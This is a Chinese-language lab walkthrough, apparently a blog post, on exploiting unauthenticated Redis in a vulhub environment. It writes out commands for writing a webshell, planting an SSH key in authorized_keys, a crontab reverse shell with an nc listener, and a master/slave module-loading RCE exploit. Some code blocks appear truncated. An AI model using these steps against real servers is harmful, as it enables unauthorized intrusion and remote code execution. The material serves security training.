redis未授权访问利用
漏洞解析
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
利用前提
redis直接暴露在外网,无访问限制
没有设置密码认证(一般为空),可以免密码远程登录redis服务。
靶场环境
使用vulhub环境
1 | cd redis/4-unacc |
漏洞利用
下载连接客户端
1 | wget http://download.redis.io/redis-stable.tar.gz |
redis命令
1 | 使用密码连接reids |
写webshell
利用条件
- 知道真实路径
- 读写权限
因为靶场没有web服务,写入tmp目录下
1 | 10.20.146.195:6379> config set dir /tmp #设置绝对路径 |
CONFIG 命令查看或设置配置项
dbfilename 备份文件
\n\r\n为换行符,在写入的时候redis会自动写入其他数据,避免代码无法正常执行
写入公钥
靶机上没有ssh,先安装,再生成公私秘钥
1 | apt-get update |
在攻击机上也生成公私秘钥
写入到key.txt
1 | (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt |
在redis中修改备份目录
报错 (error) ERR Changing directory: No such file or directory
因为此处,是vulhub环境,没有以root权限去启动,所以没有权限,演示不了
然后执行
1 | config set dbfilename "authorized_keys" |
写入之后直接使用攻击机ssh redis服务器就可以免密登录
计划任务反弹shell
利用条件
- 需要以root用户
采用crontab每分钟连接攻击机一次
1 | config set dir /var/spool/cron/crontabs |
攻击机监听
1 | nc -lvp 4444 |
靶场不是root权限运行的redis演示不了
EXP-利用主从复制RCE
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
编译
1
2cd RedisModulesSDK/
make使用
1 | python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id" |